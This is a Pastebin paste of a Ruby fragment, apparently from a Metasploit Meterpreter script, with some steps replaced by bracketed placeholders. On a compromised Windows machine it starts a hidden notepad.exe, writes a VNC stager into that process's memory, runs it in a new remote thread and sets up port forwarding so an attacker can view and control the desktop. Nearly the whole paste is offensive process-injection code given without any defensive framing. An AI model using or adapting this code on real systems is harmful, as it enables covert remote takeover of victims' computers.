Guest User

Untitled

a guest
Jul 20th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. #
  2. # Create a host process
  3. #
  4. pid = client.sys.process.execute("notepad.exe", nil, {'Hidden' => 'true'}).pid
  5. print_status("Host process notepad.exe has PID #{pid}")
  6. note = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
  7. mem = note.memory.allocate(1024*32)
  8.  
  9. print_status("Allocated memory at address #{"0x%.8x" % mem}")
  10. print_status("Writing the VNC stager into memory...")
  11. note.memory.write(mem, raw)
  12.  
  13. [ .. AFTER multi/handler ... ]
  14.  
  15. print_status("Creating a new thread within note.exe to run the VNC stager...")
  16. note.thread.create(mem, 0)
  17.  
  18. [ .. FINALLY .. ]
  19.  
  20. print_status("Starting the port forwarding from #{vnc_lport} => TARGET:#{vnc_rport}")
  21. client.run_cmd("portfwd add -l #{vnc_lport} -p #{vnc_rport} -r #{vnc_lhost}")
Add Comment
Please, Sign In to add comment